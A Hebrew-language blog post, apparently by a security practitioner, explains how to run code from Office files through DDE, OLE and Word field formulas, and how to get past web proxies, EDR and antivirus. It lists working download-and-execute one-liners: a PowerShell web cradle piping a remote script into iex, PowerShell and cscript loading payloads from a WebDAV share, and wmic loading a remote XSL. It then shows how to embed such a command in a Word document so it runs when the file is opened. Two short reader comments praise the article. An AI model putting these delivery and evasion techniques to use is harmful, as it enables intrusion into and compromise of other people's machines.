הרצת קוד מתוך Office
הרצת קוד בתוך קובצי Office ניתנת לביצוע בדרכים שונות ועם וקטורים שונים וזאת בהתאם לאפשרויות הקיימות שיש בגרסאות Office השונות, למשל באמצעות OLE, Macros, Addin, DDE וכן הלאה. במהלך השנים הרצת קוד התפתחה עם Payload מעניינים שמאפשרים הזרקה (furmula injection) לתוך קובץ Office ומסוגלים בקלות יחסית לעקוף מנגנוני דואר שונים וכן פלטפורמות EDR למינהם.
למשל Dynamic Data Exchange או בשמו הקצר DDE הוא פרוטוקול המאפשר לרכיבים ומאפיינים שונים באפליקציות Office להעביר מידע בינהם או מחוץ לאפליקציות Office עצמן, למשל באמצעות הפעלה קובץ Word ניתן לייצר תקשורת בין תחנת קצה של המשתמש מול גורם חיצוני וע”י כך להוריד קוד זדוני וכן הלאה.
בנוסף לכך ישנו רכיב נוסף שנקרא OLE (בקצרה Object Linking and Embedding) שתפקידו הוא לקשר בין אובייקטים שונים באמצעות פרוטוקולים שונים בתוך Office כודגמת DDE ולבצע פעולה של אובייקטים שונים מתוך מסמך אחד בתוך אובייקט מסוג מסמך אחר.
הרצת קוד מול רובדי הגנה
כיום ניתן להריץ קוד ותוכן זדוני באמצעות כלים ואפשרויות מתקדמות אך מנגד יש רובדי הגנה שיודעים לתפוס פעולות מסוימות ולרוב פעולות גנריות ובעיקר כאלה שכותבים אל הדיסק.
יצירת Payload היא פעולה פשוטה ובאחת הדוגמאות שהעליתי בעבר ניתן לראות כמה קל ליצור Payload באמצעות Unicorn, כמובן צריך לקחת הכל בפרופורציות ובכדי לעקוף מנגנונים שונים אותו Paylod חייב להיות משהו מושקע יותר.
ישנם דרכים שונות לביצוע Bypass על כל אותם מנגנונים והכל באמצעות פקודות מבוססות oneliners, פקודות אשר מבוססות על שורה אחת מאפשרות לנו לבצע מספר פעולות מתוך אותה שורה ולכן מייעלת את דרכי התקיפה.
כיום ישנם דרכים רבות להריץ oneliners ולא רק באמצעות PowerShell אלא באמצעות שפות נוספות.
אז מה חשוב כאשר מריצים פקודה ופעולה כלשהיא:
- Proxy – מרבית הארגונים עושים שימוש באמצעות web proxy ולכן אנו צריכים לעקוף את המנגנון על גבי אותו מזהה בתחנת הקצה או משתמש אחר
- מגנגנון EDR – הרצת קוד בסביבה שמבוססת על EDR היא מאתגרת יותר מכיוון שהיא אינה מאפשרת הרצה של פעולות רבות, חלקן ברמת זכרון (רגע ברוב המקרים יש Agent אז ניתן לעקוף)
- זכרון – אנו נעשיף להשתמש עם payload שירוצו על גבי memory ולא כאלה שנכתבים לדיסק
- קוד – איך נריץ את הקוד שלנו, האם באמצעות exe מוכרים וחתומים או עם באמצעות קבצים אחרים
- אפליקציות לבנות – מערכות המבצעות חיתום של אפליקציות לאפליקציות מורשות בלבד (white list ודומיהם)
אחרי הכל הפעולה אינה פעולה פשוטה אך ניתנת לביצוע ותמיד צריך לחשוב על ביצוע פעולות שעוקפות קצבים או רכיבים בינאריים במערכת.
פקודות מבוססות Oneliners
כאשר מורידים Payload מסוים מתוך גורם חיצוני ישנם מספר אפשרויות:
- הפקודה אשר מבצעת שימוש מול HTTP
- הפקודה עושה שימוש מול UNC ולמעשה מפנה ומשתמש באמצעות שרת webdav
- פעולה באמצעות פקודה ייעודית לטובת הורדה וביצוע פעולה מסוימת מתוך אותה פקודה
הרצה באמצעות PowerShell
הדרך הראשונה היא באמצעות PowerShell שהינה השפה הפופולרית ביותר אך גם המנוטרת ולעיתים חסומה בארגונים הפעולה מבצעת:
- תקשורת באמצעות Web Proxy
- ללא כתיבה לדיסק
- על גבי PowerShell.exe
powershell -exec bypass -c “(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr(‘https://server/payloadAttack.ps1’)|iex”
לחלופין נוכל להריץ את הפקודה מתוך שרת WebDav באמצעות הפקודה הבאה אשר שעושה שימוש בפרמטרים הבאים:
- פעולה באמצעות svchost
- נכתב לדיסק באמצעות local cache
powershell -exec bypass -f \\webdavsrv\folder\payloadAttack.ps1
הרצה באמצעות Cscript
דרך נוספת והיא באמצעות CScript להורדה של payload מתוך שרת מרוחק
cscript //K:jscript \\webdavsrv\folder\payloadAtaack.txt
עושה שימוש באמצעים הבאים:
- הרצה מול svchost.exe
- כתיבה לדיסק ולמיקום WebDAV client local cache
הרצה באמצעות Wmic
בהפעלה אנו קוראים לקובץ מקומי או מרוחק באמצעות XSL
wmic os get /format:”https://websrv/payload.xsl”
- הרצה מול wmic.exe
- כתיבה לדיסק ולמיקום
הרצת קוד מתוך מסמך Office
הרצת קוד באמצעות קובץ Office למשל Word יכולה להיעשות באמצעות הפעולות הבאות:
- הכנת Payload או לחלופין שימוש בפקודה פשוטה
- יצירת מסמך Office והרצת הקוד למסמך
דרכים למימוש
אחת הדרכים להרצת קוד או פקודה כלשהיא אל קובץ Word היא באמצעות פורמולה פשוטה שמטרתה להריץ פעולה מסוימת לאחר פתיחת קובץ Word.
באפשרויות Formula אין צורך להגדיר ערך מסוים אלא רק לאחר בחירת הפורמולה עצמה מתוך השדה עצמו.
הקוד או הפקודה שניתן להריץ כאן יכולה להיות פקודת הפעלה פשוטה או לחלופין קריאה לאותו Payload שהוכן מראש ועל סמך פקודות שונות, כדוגמת הפקודות oneliner המצורפות מעלה.
בסיום נשמור את כל הפעולות שבוצעו עד כה ונפתח את הקובץ מחדש, לאחר פתיחת הקובץ נקבל הודעה לגבי פתיחת קישור מול קובץ אחר.
במידה וישנו אנטי וירוס בתחנה ישנם מקרים בהם הפעולה לא תחסם ותתבצע אך למי שעובד עם מנגנון EDR כלשהוא הפעולה תקבל חסימה אוטומטית. אם נקח למשל את Windows Defender ATP נוכל לראות כי הפעולה נחסמה ונוכל לבצע תחקור על אותה פעולה עם אפשרויות שונות.
לסיכום – הכנה והרצת קוד יכולה להיות פעולה פשוטה וניתן להריץ קוד או פעולה באמצעות שפות שונות במטרה לעקוף את מנגנוני ההגנה הקיימים כיום. ישנם Payload מתוחכמים אשר מסוגלים לבצע עקיפה של מנגנוני דואר ואפילו EDR מסוימים, כמובן שאנטי-וירוס ודומיהם הם כבר לא חלק במשחק כי ניתן לעקוף אותם דיי בקלות.
מאמר מצוין תמשיך כך ממתין למאמרים נוספים. תותח על.
מאמר מעולה אלי